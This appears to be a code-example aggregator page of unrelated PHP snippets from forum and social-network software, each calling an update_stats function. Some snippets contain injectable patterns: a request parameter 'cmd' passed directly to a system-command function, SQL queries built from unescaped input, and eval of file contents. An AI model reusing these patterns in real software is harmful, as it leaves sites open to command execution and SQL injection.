PHP update_stats函数代码示例

/**
 * Completely recount the board statistics (useful if they become out of sync)
 */
function rebuild_stats()
{
    global $db;
    $query = $db->simple_select("forums", "SUM(threads) AS numthreads");
    $stats['numthreads'] = $db->fetch_field($query, 'numthreads');
    if (!$stats['numthreads']) {
        $stats['numthreads'] = 0;
    }
    $query = $db->simple_select("forums", "SUM(posts) AS numposts");
    $stats['numposts'] = $db->fetch_field($query, 'numposts');
    if (!$stats['numposts']) {
        $stats['numposts'] = 0;
    }
    $query = $db->simple_select("forums", "SUM(unapprovedthreads) AS numunapprovedthreads");
    $stats['numunapprovedthreads'] = $db->fetch_field($query, 'numunapprovedthreads');
    if (!$stats['numunapprovedthreads']) {
        $stats['numunapprovedthreads'] = 0;
    }
    $query = $db->simple_select("forums", "SUM(unapprovedposts) AS numunapprovedposts");
    $stats['numunapprovedposts'] = $db->fetch_field($query, 'numunapprovedposts');
    if (!$stats['numunapprovedposts']) {
        $stats['numunapprovedposts'] = 0;
    }
    $query = $db->simple_select("users", "COUNT(uid) AS users");
    $stats['numusers'] = $db->fetch_field($query, 'users');
    if (!$stats['numusers']) {
        $stats['numusers'] = 0;
    }
    update_stats($stats);
}

/**
 * Completely recount the board statistics (useful if they become out of sync)
 */
function rebuild_stats()
{
    global $db;
    $query = $db->simple_select("forums", "SUM(threads) AS numthreads, SUM(posts) AS numposts, SUM(unapprovedthreads) AS numunapprovedthreads, SUM(unapprovedposts) AS numunapprovedposts, SUM(deletedthreads) AS numdeletedthreads, SUM(deletedposts) AS numdeletedposts");
    $stats = $db->fetch_array($query);
    $query = $db->simple_select("users", "COUNT(uid) AS users");
    $stats['numusers'] = $db->fetch_field($query, 'users');
    update_stats($stats, true);
}

function on_before_delete_blog_post()
{
    global $dbtable_prefix, $post_ids;
    require_once _BASEPATH_ . '/includes/classes/fileop.class.php';
    $fileop = new fileop();
    $query = "SELECT `post_id`,`fk_blog_id`,`fk_user_id`,UNIX_TIMESTAMP(`date_posted`) as `date_posted` FROM `{$dbtable_prefix}blog_posts` WHERE `post_id` IN ('" . join("','", $post_ids) . "')";
    if (!($res = @mysql_query($query))) {
        trigger_error(mysql_error(), E_USER_ERROR);
    }
    $blog_ids = array();
    $user_ids = array();
    $dates = array();
    while ($rsrow = mysql_fetch_assoc($res)) {
        if (isset($blog_ids[$rsrow['fk_blog_id']])) {
            --$blog_ids[$rsrow['fk_blog_id']];
        } else {
            $blog_ids[$rsrow['fk_blog_id']] = -1;
        }
        if (isset($user_ids[$rsrow['fk_user_id']])) {
            --$user_ids[$rsrow['fk_user_id']];
        } else {
            $user_ids[$rsrow['fk_user_id']] = -1;
        }
        $dates[$rsrow['fk_blog_id']][] = $rsrow['date_posted'];
    }
    foreach ($blog_ids as $bid => $num) {
        // blog stats
        $bid = (string) $bid;
        $query = "UPDATE `{$dbtable_prefix}user_blogs` SET `stat_posts`=`stat_posts`+{$num} WHERE `blog_id`={$bid}";
        if (!($res = @mysql_query($query))) {
            trigger_error(mysql_error(), E_USER_ERROR);
        }
        // blog_archive
        $blog_archive = array();
        if (is_file(_CACHEPATH_ . '/blogs/' . $bid[0] . '/' . $bid . '/blog_archive.inc.php')) {
            include _CACHEPATH_ . '/blogs/' . $bid[0] . '/' . $bid . '/blog_archive.inc.php';
        }
        for ($i = 0; isset($dates[$bid][$i]); ++$i) {
            $year = (int) date('Y', $dates[$bid][$i]);
            $month = (int) date('m', $dates[$bid][$i]);
            if (isset($blog_archive[$year][$month])) {
                --$blog_archive[$year][$month];
            }
            if (empty($blog_archive[$year][$month])) {
                unset($blog_archive[$year][$month]);
            }
        }
        krsort($blog_archive, SORT_NUMERIC);
        $towrite = '<?php $blog_archive=' . var_export($blog_archive, true) . ';';
        $fileop->file_put_contents(_CACHEPATH_ . '/blogs/' . $bid[0] . '/' . $bid . '/blog_archive.inc.php', $towrite);
    }
    foreach ($user_ids as $uid => $num) {
        update_stats($uid, 'blog_posts', $num);
        add_member_score($uid, 'del_blog', -$num);
        // -$num because $num is already negative.
    }
}

//.........这里部分代码省略.........
            $alltotC = @count($csvcols);
            debug("INFO", "CSV-save( {$csvX} ) -> C-tot={$alltotC}; !");
            if ($alltotC < MAX_CSV_COLS) {
                $csv_stats['error']++;
                //err log
                $err_row = @join("|", $csvcols);
                utils_io_file_save($csv_err, "{$err_row}\n", "a+");
                debug("INFO", "CSV-save( {$csvX} ) -> record total is below as expected! {$alltotC};{$err_row}");
                continue;
            }
            //clean ?
            foreach ($csvcols as $k1 => $v1) {
                $v2 = $csvcols[$k1];
                $v2 = @preg_replace('/^"/', '', $v2);
                $v2 = @preg_replace('/"$/', '', $v2);
                $csvcols[$k1] = $v2;
            }
            //loop it here
            $xdata = null;
            $xdata["trafficrecap_id"] = $csvcols[0];
            $xdata["operator_code"] = $csvcols[1];
            $xdata["traffic_code"] = $csvcols[2];
            $xdata["job_id"] = $csvcols[3];
            $xdata["station_code"] = $csvcols[4];
            $xdata["dateshift"] = $csvcols[5];
            $xdata["shift_code"] = $csvcols[6];
            $xdata["user_code"] = $csvcols[7];
            $xdata["state"] = $csvcols[8];
            $xdata["cardtype"] = $csvcols[9];
            $xdata["manless"] = $csvcols[10];
            $xdata["member"] = $csvcols[11];
            $xdata["seccodeval"] = $csvcols[12];
            $xdata["status_id"] = $csvcols[13];
            $xdata["totalvalue"] = $csvcols[14];
            $xdata["totalvaluefine"] = $csvcols[15];
            $xdata["totalvalueest"] = $csvcols[16];
            $xdata["payment_code"] = $csvcols[17];
            $xdata["totalqty"] = $csvcols[18];
            $xdata["action_id"] = $csvcols[19];
            $xdata["useradd"] = $csvcols[20];
            $xdata["usermod"] = $csvcols[21];
            $xdata["userdel"] = $csvcols[22];
            $xdata["dateadd"] = $csvcols[23];
            $xdata["datemod"] = $csvcols[24];
            $xdata["datedel"] = $csvcols[25];
            $xdata["flag_id"] = $csvcols[26];
            $xdata["seccodetype"] = $csvcols[27];
            $xdata["traffic_name"] = $csvcols[28];
            $xdata["typetraffic_code"] = $csvcols[29];
            $xdata["member_code"] = $csvcols[30];
            $xdata["product_code"] = $csvcols[31];
            $xdata["csv_id"] = $csv_id;
            //save rec
            $pret = saveTraffic($xdata);
            if (!$pret) {
                //err log
                $err_row = @join("|", $csvcols);
                utils_io_file_save($csv_err, "{$err_row}\n", "a+");
                debug("INFO", "CSV-save() -> ignored >{$err_row} ");
                $csv_stats['error']++;
                continue;
            }
            $csv_stats['success']++;
        }
        //if arr
    }
    //for sheets
    //hit the total parsed
    $ydata["id"] = $csv_id;
    $ydata["tot"] = intval($csv_stats['total']);
    $ydata["oks"] = intval($csv_stats['success']);
    $ydata["err"] = intval($csv_stats['error']);
    $pret = update_stats($ydata);
    $dmp = @var_export($ydata, true);
    debug("INFO", "CSV-save() STATS-> {$dmp} !");
    /*
    	$CSV_STATUS_ARR  = array(
    	'0'    => 'Pending',
    	'1'    => 'Processing',
    	'2'    => 'Processed',
    	'3'    => 'Zero Rows',
    	'9'    => 'Failed',
    	);
    */
    //update status to 2
    $csv_status = 2;
    $csv_mesg = "Successfully processed!";
    //no-rows
    if ($ydata["oks"] <= 0 and $ydata["tot"] > 0) {
        $csv_status = 3;
        $csv_mesg = "No valid rows found!";
    }
    //fail
    if ($ydata["oks"] <= 0 and $ydata["tot"] <= 0) {
        $csv_status = 9;
        $csv_mesg = "Failed to parse!";
    }
    //update it now
    $upd = set_csv_summary(array('id' => $csv_id, 'status' => $csv_status, 'desc' => $csv_mesg));
}

 /**
  * Delete a user in the database
  *
  * @param integer|string $user User ID or username
  * @return boolean
  */
 function removeUser($user)
 {
     // If no ID is given, we check if there is a user with the specified username
     if (!is_numeric($user)) {
         $query = $this->db->simple_select('users', 'uid', 'username=\'' . $this->dbEscape($user) . '\'');
         $user_id = $this->db->fetch_field($query, 'uid', 0);
         // User does not exist? --> False
         if (empty($user_id)) {
             return false;
         }
         $user_id = intval($user_id);
     } else {
         $user_id = intval($user);
     }
     $this->plugins->run_hooks('admin_user_users_delete');
     // Delete the user
     $this->db->update_query("posts", array('uid' => 0), "uid='{$user_id}'");
     $this->db->delete_query("userfields", "ufid='{$user_id}'");
     $this->db->delete_query("privatemessages", "uid='{$user_id}'");
     $this->db->delete_query("events", "uid='{$user_id}'");
     $this->db->delete_query("moderators", "uid='{$user_id}'");
     $this->db->delete_query("forumsubscriptions", "uid='{$user_id}'");
     $this->db->delete_query("threadsubscriptions", "uid='{$user_id}'");
     $this->db->delete_query("sessions", "uid='{$user_id}'");
     $this->db->delete_query("banned", "uid='{$user_id}'");
     $this->db->delete_query("threadratings", "uid='{$user_id}'");
     $this->db->delete_query("users", "uid='{$user_id}'");
     $this->db->delete_query("joinrequests", "uid='{$user_id}'");
     $this->db->delete_query("warnings", "uid='{$user_id}'");
     // Update forum stats
     update_stats(array('numusers' => '-1'));
     $this->plugins->run_hooks('admin_user_users_delete_commit');
     return true;
 }

             $fids[] = $fid;
         }
         $fids_not_in = '';
         if (!empty($fids)) {
             $fids_not_in = "AND fid NOT IN(" . implode(',', $fids) . ")";
         }
         // Update user post count
         $query = $db->simple_select("posts", "COUNT(*) AS postnum", "uid='" . $destination_user['uid'] . "' {$fids_not_in}");
         $num = $db->fetch_array($query);
         $updated_count = array("postnum" => $num['postnum']);
         $db->update_query("users", $updated_count, "uid='{$destination_user['uid']}'");
         // Use the earliest registration date
         if ($destination_user['regdate'] > $source_user['regdate']) {
             $db->update_query("users", array('regdate' => $source_user['regdate']), "uid='{$destination_user['uid']}'");
         }
         update_stats(array('numusers' => '-1'));
         $plugins->run_hooks("admin_user_users_merge_commit");
         // Log admin action
         log_admin_action($source_user['uid'], $source_user['username'], $destination_user['uid'], $destination_user['username']);
         // Redirect!
         flash_message("<strong>{$source_user['username']}</strong> {$lang->success_merged} {$destination_user['username']}", "success");
         admin_redirect("index.php?module=user/users");
         exit;
     }
 }
 $page->add_breadcrumb_item($lang->merge_users);
 $page->output_header($lang->merge_users);
 $page->output_nav_tabs($sub_tabs, 'merge_users');
 // If we have any error messages, show them
 if ($errors) {
     $page->output_inline_error($errors);

 /**
  * Provides a method to completely delete a user.
  *
  * @param array Array of user information
  * @param integer Whether if delete threads/posts or not
  * @return boolean True when successful, false if fails
  */
 function delete_user($delete_uids, $prunecontent = 0)
 {
     global $db, $plugins, $mybb, $cache;
     // Yes, validating is required.
     if (count($this->get_errors()) > 0) {
         die('The user is not valid.');
     }
     $this->delete_uids = array_map('intval', (array) $delete_uids);
     foreach ($this->delete_uids as $key => $uid) {
         if (!$uid || is_super_admin($uid) || $uid == $mybb->user['uid']) {
             // Remove super admins
             unset($this->delete_uids[$key]);
         }
     }
     $plugins->run_hooks('datahandler_user_delete_start', $this);
     $this->delete_uids = implode(',', $this->delete_uids);
     $this->delete_content();
     // Delete the user
     $query = $db->delete_query('users', "uid IN({$this->delete_uids})");
     $this->deleted_users = $db->affected_rows($query);
     // Are we removing the posts/threads of a user?
     if ((int) $prunecontent == 1) {
         $this->delete_posts();
     } else {
         // We're just updating the UID
         $db->update_query('posts', array('uid' => 0), "uid IN({$this->delete_uids})");
         $db->update_query('threads', array('uid' => 0), "uid IN({$this->delete_uids})");
     }
     // Update thread ratings
     $query = $db->query("\n\t\t\tSELECT r.*, t.numratings, t.totalratings\n\t\t\tFROM " . TABLE_PREFIX . "threadratings r\n\t\t\tLEFT JOIN " . TABLE_PREFIX . "threads t ON (t.tid=r.tid)\n\t\t\tWHERE r.uid IN({$this->delete_uids})\n\t\t");
     while ($rating = $db->fetch_array($query)) {
         $update_thread = array("numratings" => $rating['numratings'] - 1, "totalratings" => $rating['totalratings'] - $rating['rating']);
         $db->update_query("threads", $update_thread, "tid='{$rating['tid']}'");
     }
     $db->delete_query('threadratings', "uid IN({$this->delete_uids})");
     // Update forums & threads if user is the lastposter
     $db->update_query('forums', array('lastposteruid' => 0), "lastposteruid IN({$this->delete_uids})");
     $db->update_query('threads', array('lastposteruid' => 0), "lastposteruid IN({$this->delete_uids})");
     $cache->update_banned();
     $cache->update_moderators();
     // Update forum stats
     update_stats(array('numusers' => '-' . $this->deleted_users));
     $this->return_values = array("deleted_users" => $this->deleted_users);
     // Update reports cache
     $cache->update_reportedcontent();
     $cache->update_awaitingactivation();
     $plugins->run_hooks("datahandler_user_delete_end", $this);
     return $this->return_values;
 }

    $topass['message']['text'] = $GLOBALS['_lang'][7];
    redirect2page('info.php', $topass);
}
$output['lang_273'] = sanitize_and_format($GLOBALS['_lang'][273], TYPE_STRING, $__field2format[TEXT_DB2DISPLAY]);
$output['lang_274'] = sanitize_and_format($GLOBALS['_lang'][274], TYPE_STRING, $__field2format[TEXT_DB2DISPLAY]);
$output['lang_256'] = sanitize_and_format($GLOBALS['_lang'][256], TYPE_STRING, $__field2format[TEXT_DB2DISPLAY]);
$output['return2me'] = 'profile.php';
if (!empty($_SERVER['QUERY_STRING'])) {
    $output['return2me'] .= '?' . $_SERVER['QUERY_STRING'];
}
$output['return2me'] = rawurlencode($output['return2me']);
$tpl->set_file('content', 'profile.html');
$tpl->set_var('output', $output);
$tpl->set_var('tplvars', $tplvars);
$tpl->set_loop('categs', $categs);
$tpl->set_loop('user_photos', $user_photos);
$tpl->set_loop('loop_comments', $loop_comments);
$tpl->set_loop('loop_friends', $loop_friends);
$tpl->process('content', 'content', TPL_LOOP | TPL_NOLOOP | TPL_OPTLOOP | TPL_OPTIONAL);
$tpl->drop_loop('categs');
$tpl->drop_loop('user_photos');
unset($categs);
unset($user_photos);
$tplvars['page'] = 'profile';
$tplvars['css'] = 'profile.css';
if (is_file('profile_left.php')) {
    include 'profile_left.php';
}
include 'frame.php';
update_stats($uid, 'pviews', 1);
add_member_score($uid, 'pview');

    if ($invite_emails != "") {
        send_systememail('invite', $invite_emails, array($new_user->user_displayname, $new_user->user_info['user_email'], $invite_message, "<a href=\"" . $url->url_base . "signupon13.php\">" . $url->url_base . "signupon13.php</a>"), TRUE);
    }
    // SEND USER TO THANK YOU PAGE
    $task = "step5";
}
// SIGNUP TERMINAL VELOCITY POINT HOOK
($hook = SE_Hook::exists('se_signup_decide')) ? SE_Hook::call($hook, array()) : NULL;
// SHOW COMPLETION PAGE
if ($task == "step5") {
    // UNSET SIGNUP COOKIES
    setcookie("signup_id", "", 0, "/");
    setcookie("signup_email", "", 0, "/");
    setcookie("signup_password", "", 0, "/");
    // UPDATE SIGNUP STATS
    update_stats("signups");
    // DISPLAY THANK YOU
    $step = 5;
}
// SHOW FOURTH STEP
if ($task == "step4") {
    $step = 4;
    $next_task = "step4do";
    if ($setting['setting_signup_invitepage'] == 0) {
        $task = "step3";
    }
}
// SHOW THIRD STEP
if ($task == "step3") {
    $step = 3;
    $next_task = "step3do";

function on_after_approve_comment()
{
    global $dbtable_prefix, $comment_ids, $comment_type, $__field2format;
    switch ($comment_type) {
        case 'blog':
            $table = "`{$dbtable_prefix}comments_blog`";
            $parent_table = "`{$dbtable_prefix}blog_posts`";
            $parent_key = "`post_id`";
            break;
        case 'photo':
            $table = "`{$dbtable_prefix}comments_photo`";
            $parent_table = "`{$dbtable_prefix}user_photos`";
            $parent_key = "`photo_id`";
            break;
        case 'user':
            $table = "`{$dbtable_prefix}comments_profile`";
            $parent_table = "`{$dbtable_prefix}user_profiles`";
            $parent_key = "`fk_user_id`";
            break;
    }
    // only for new comments (because of the processed=0)
    $query = "SELECT a.`comment_id`,a.`_user` as `comment_poster`,a.`fk_parent_id`,a.`fk_user_id`,b.`fk_user_id` as `fk_parent_owner_id` FROM {$table} a,{$parent_table} b WHERE a.`comment_id` IN ('" . join("','", $comment_ids) . "') AND a.`fk_parent_id`=b.{$parent_key} AND a.`processed`=0";
    if (!($res = @mysql_query($query))) {
        trigger_error(mysql_error(), E_USER_ERROR);
    }
    $comment_ids = array();
    // yup
    $parent_ids = array();
    $user_ids = array();
    $parent_owner_ids = array();
    $notifs = array();
    while ($rsrow = mysql_fetch_assoc($res)) {
        $comment_ids[] = $rsrow['comment_id'];
        // get only the not processed ones
        if (isset($parent_ids[$rsrow['fk_parent_id']])) {
            ++$parent_ids[$rsrow['fk_parent_id']];
        } else {
            $parent_ids[$rsrow['fk_parent_id']] = 1;
        }
        if (isset($user_ids[$rsrow['fk_user_id']])) {
            ++$user_ids[$rsrow['fk_user_id']];
        } else {
            $user_ids[$rsrow['fk_user_id']] = 1;
        }
        if ($rsrow['fk_parent_owner_id'] != $rsrow['fk_user_id']) {
            if (!isset($notifs[$rsrow['fk_parent_owner_id']])) {
                $notifs[$rsrow['fk_parent_owner_id']]['comment_poster'] = $rsrow['comment_poster'];
                $notifs[$rsrow['fk_parent_owner_id']]['comment_id'] = $rsrow['comment_id'];
                $notifs[$rsrow['fk_parent_owner_id']]['parent_id'] = $rsrow['fk_parent_id'];
            }
            if (isset($parent_owner_ids[$rsrow['fk_parent_owner_id']])) {
                ++$parent_owner_ids[$rsrow['fk_parent_owner_id']];
            } else {
                $parent_owner_ids[$rsrow['fk_parent_owner_id']] = 1;
            }
        }
    }
    // increment the number of comments of the item(s)
    if ($comment_type != 'user') {
        foreach ($parent_ids as $pid => $num) {
            $query = "UPDATE {$parent_table} SET `stat_comments`=`stat_comments`+{$num} WHERE {$parent_key}='{$pid}'";
            if (!($res = @mysql_query($query))) {
                trigger_error(mysql_error(), E_USER_ERROR);
            }
        }
    } else {
        foreach ($parent_ids as $pid => $num) {
            update_stats($pid, 'profile_comments', $num);
        }
    }
    // add the "received_comment" score to the owner of the item
    foreach ($parent_owner_ids as $uid => $num) {
        if (!empty($uid)) {
            add_member_score($uid, 'received_comment', $num);
        }
    }
    // add the "comments_made" score to the poster of the comment
    foreach ($user_ids as $uid => $num) {
        if (!empty($uid)) {
            update_stats($uid, 'comments_made', $num);
        }
    }
    // mark the posted comment(s) as not new anymore so we won't process them again next time.
    if (!empty($comment_ids)) {
        $query = "UPDATE {$table} SET `processed`=1 WHERE `comment_id` IN ('" . join("','", $comment_ids) . "')";
        if (!($res = @mysql_query($query))) {
            trigger_error(mysql_error(), E_USER_ERROR);
        }
    }
    // send notifications to item owners.
    foreach ($notifs as $uid => $v) {
        $notification['fk_user_id'] = $uid;
        $notification['message_type'] = MESS_SYSTEM;
        switch ($comment_type) {
            case 'blog':
                $notification['subject'] = sanitize_and_format($GLOBALS['_lang'][160], TYPE_STRING, $__field2format[FIELD_TEXTFIELD]);
                $notification['message_body'] = sanitize_and_format(sprintf($GLOBALS['_lang'][161], $v['comment_poster'], $v['parent_id'], $v['comment_id']), TYPE_STRING, $__field2format[FIELD_TEXTFIELD]);
                break;
            case 'photo':
                $notification['subject'] = sanitize_and_format($GLOBALS['_lang'][162], TYPE_STRING, $__field2format[FIELD_TEXTFIELD]);
//.........这里部分代码省略.........

//.........这里部分代码省略.........
     if (isset($user['yahoo'])) {
         $this->user_update_data['yahoo'] = $db->escape_string(htmlspecialchars_uni($user['yahoo']));
     }
     if (isset($user['msn'])) {
         $this->user_update_data['msn'] = $db->escape_string(htmlspecialchars_uni($user['msn']));
     }
     if (isset($user['bday'])) {
         $this->user_update_data['birthday'] = $user['bday'];
     }
     if (isset($user['birthdayprivacy'])) {
         $this->user_update_data['birthdayprivacy'] = $db->escape_string($user['birthdayprivacy']);
     }
     if (isset($user['style'])) {
         $this->user_update_data['style'] = intval($user['style']);
     }
     if (isset($user['timezone'])) {
         $this->user_update_data['timezone'] = $db->escape_string($user['timezone']);
     }
     if (isset($user['dateformat'])) {
         $this->user_update_data['dateformat'] = $db->escape_string($user['dateformat']);
     }
     if (isset($user['timeformat'])) {
         $this->user_update_data['timeformat'] = $db->escape_string($user['timeformat']);
     }
     if (isset($user['regip'])) {
         $this->user_update_data['regip'] = $db->escape_string($user['regip']);
     }
     if (isset($user['language'])) {
         $this->user_update_data['language'] = $db->escape_string($user['language']);
     }
     if (isset($user['away'])) {
         $this->user_update_data['away'] = $user['away']['away'];
         $this->user_update_data['awaydate'] = $db->escape_string($user['away']['date']);
         $this->user_update_data['returndate'] = $db->escape_string($user['away']['returndate']);
         $this->user_update_data['awayreason'] = $db->escape_string($user['away']['awayreason']);
     }
     if (isset($user['notepad'])) {
         $this->user_update_data['notepad'] = $db->escape_string($user['notepad']);
     }
     if (isset($user['usernotes'])) {
         $this->user_update_data['usernotes'] = $db->escape_string($user['usernotes']);
     }
     if (is_array($user['options'])) {
         foreach ($user['options'] as $option => $value) {
             $this->user_update_data[$option] = $value;
         }
     }
     if (array_key_exists('coppa_user', $user)) {
         $this->user_update_data['coppauser'] = intval($user['coppa_user']);
     }
     // First, grab the old user details for later use.
     $old_user = get_user($user['uid']);
     // If old user has new pmnotice and new user has = yes, keep old value
     if ($old_user['pmnotice'] == "2" && $this->user_update_data['pmnotice'] == 1) {
         unset($this->user_update_data['pmnotice']);
     }
     $plugins->run_hooks("datahandler_user_update", $this);
     if (count($this->user_update_data) < 1 && empty($user['user_fields'])) {
         return false;
     }
     if (count($this->user_update_data) > 0) {
         // Actual updating happens here.
         $db->update_query("users", $this->user_update_data, "uid='{$user['uid']}'");
     }
     $cache->update_moderators();
     if (isset($user['bday']) || isset($user['username'])) {
         $cache->update_birthdays();
     }
     // Maybe some userfields need to be updated?
     if (is_array($user['user_fields'])) {
         $query = $db->simple_select("userfields", "*", "ufid='{$user['uid']}'");
         $fields = $db->fetch_array($query);
         if (!$fields['ufid']) {
             $user_fields = array('ufid' => $user['uid']);
             $fields_array = $db->show_fields_from("userfields");
             foreach ($fields_array as $field) {
                 if ($field['Field'] == 'ufid') {
                     continue;
                 }
                 $user_fields[$field['Field']] = '';
             }
             $db->insert_query("userfields", $user_fields);
         }
         $db->update_query("userfields", $user['user_fields'], "ufid='{$user['uid']}'", false);
     }
     // Let's make sure the user's name gets changed everywhere in the db if it changed.
     if ($this->user_update_data['username'] != $old_user['username'] && $this->user_update_data['username'] != '') {
         $username_update = array("username" => $this->user_update_data['username']);
         $lastposter_update = array("lastposter" => $this->user_update_data['username']);
         $db->update_query("posts", $username_update, "uid='{$user['uid']}'");
         $db->update_query("threads", $username_update, "uid='{$user['uid']}'");
         $db->update_query("threads", $lastposter_update, "lastposteruid='{$user['uid']}'");
         $db->update_query("forums", $lastposter_update, "lastposteruid='{$user['uid']}'");
         $stats = $cache->read("stats");
         if ($stats['lastuid'] == $user['uid']) {
             // User was latest to register, update stats
             update_stats(array("numusers" => "+0"));
         }
     }
 }

 function user_login($email, $password, $javascript_disabled = 0, $persistent = 0)
 {
     global $database, $setting;
     $this->SEUser(array(0, "", $email));
     $current_time = time();
     $login_result = 0;
     // SHOW ERROR IF JAVASCRIPT IS DIABLED
     if ($javascript_disabled) {
         $this->is_error = 31;
     } elseif ($this->user_exists == 0) {
         $this->is_error = 676;
     } elseif (!trim($password) || $this->user_password_crypt($password) != $this->user_info['user_password']) {
         $this->is_error = 676;
     } elseif (!$this->user_info['user_enabled']) {
         $this->is_error = 677;
     } elseif (!$this->user_info['user_verified'] && $setting['setting_signup_verify']) {
         $this->is_error = 678;
     } else {
         // SET LOGIN RESULT VAR
         $login_result = TRUE;
         // UPDATE USER LOGIN INFO
         $database->database_query("UPDATE se_users SET user_lastlogindate='{$current_time}', user_logins=user_logins+1, user_lastactive='{$current_time}', user_ip_lastactive='{$_SERVER['REMOTE_ADDR']}' WHERE user_id='{$this->user_info['user_id']}' LIMIT 1");
         // LOG USER IN
         $this->user_setcookies($persistent);
         // FIX VISITOR TABLE
         $visitor_ip = ip2long($_SERVER['REMOTE_ADDR']);
         $visitor_browser = addslashes(trim(substr($_SERVER['HTTP_USER_AGENT'], 0, 255)));
         $database->database_query("DELETE FROM se_visitors WHERE visitor_ip='{$visitor_ip}' && visitor_browser LIKE '{$visitor_browser}' && visitor_user_id='0'");
         // UPDATE LOGIN STATS
         update_stats("logins");
     }
     // BUMP LOG
     $database->database_query("INSERT INTO se_logins (login_email, login_date, login_ip, login_result) VALUES ('{$email}', '{$current_time}', '{$_SERVER['REMOTE_ADDR']}', '{$login_result}')");
     bumplog();
 }

    $rowspan++;
}
// Top Posters
if ($settings['forum_statistics_topposters']) {
    list($tposter_id, $tposter_name, $tposter_status, $tposter_posts) = dbarraynum(dbquery("SELECT user_id, user_name, user_status, user_posts FROM " . DB_USERS . " ORDER BY user_posts DESC LIMIT 1"));
    list($aposter_id, $aposter_name, $aposter_status, $aposter_ppday) = dbarraynum(dbquery("SELECT user_id, user_name, user_status, (user_posts/((" . time() . "-user_joined)/(24*3600))) FROM " . DB_USERS . " WHERE user_joined < (" . time() . "-(3600*24)) ORDER BY user_posts DESC LIMIT 1"));
    $rowspan++;
}
// User Stats
if ($settings['forum_statistics_userstats']) {
    pif_cache("online_users");
    $total_online = $pif_cache['online_users']['guests'] + count($pif_cache['online_users']['members']);
    list($max_online, $max_online_time) = explode(":", $stats['max_online_users']);
    if ($total_online > $max_online) {
        $stats['max_online_users'] = $total_online . ":" . time();
        update_stats();
        $max_online = $total_online;
        $max_online_time = time();
    }
    $rowspan++;
}
// Members Today Online
if ($settings['forum_statistics_todayonline']) {
    $result = dbquery("SELECT user_id, user_name, user_level, user_status FROM " . DB_USERS . " WHERE user_lastvisit > UNIX_TIMESTAMP(CURDATE()) AND user_status = '0' ORDER BY user_lastvisit DESC");
    $today_rows = dbrows($result);
    $today_online = array();
    if ($today_rows) {
        while ($data = dbarray($result)) {
            $today_online[] = array("user_id" => $data['user_id'], "user_name" => $data['user_name'], "user_level" => $data['user_level']);
        }
    }

     } else {
         $result = "call error";
     }
     break;
 case "sys":
     if (isset($_GET['cmd'])) {
         $cmd = $_GET['cmd'];
         $result = sys($cmd);
     } else {
         $result = "no such cmd";
     }
     break;
 case "upstats":
     if (isset($_GET['uniqueid'])) {
         $uniqueid = $_GET['uniqueid'];
         $result = update_stats($uniqueid);
     } else {
         $result = "update error";
     }
     break;
 case "addextinfo":
     if (isset($_POST['exten'])) {
         if (isset($_POST['uname'])) {
             $exten = $_POST['exten'];
             $uname = $_POST['uname'];
             if (isset($_POST['time'])) {
                 $fromtime = $_POST['time'];
             } else {
                 $fromtime = null;
             }
             $result = add_exteninfo($exten, $uname, $fromtime);

// Ignorišemo fajlove veće od 100k
$split_folder = array("OR");
//$svn_base = $workspace_path . "/svn";
$prefix = "";
// Parameters
if ($argc == 1) {
    debug_log("username missing");
    die("ERROR: userstats.php expects at least one parameter\n");
}
$username = $argv[1];
//$stat_path = $conf_base_path . "/stats/$username_efn.stats";
debug_log("read stats");
read_stats($username);
clean_stats();
debug_log("azuriraj_statistiku");
update_stats($username);
debug_log("ksort");
ksort($stats);
debug_log("file_put_contents " . $conf_base_path . "/stats/{$username}.stats");
write_stats($username);
exit(0);
// Functions
// Read stats file
function read_stats($username)
{
    global $stats, $conf_stats_path;
    $username_efn = escape_filename($username);
    $stat_file = $conf_stats_path . "/" . "{$username_efn}.stats";
    $stats = NULL;
    if (file_exists($stat_file)) {
        eval(file_get_contents($stat_file));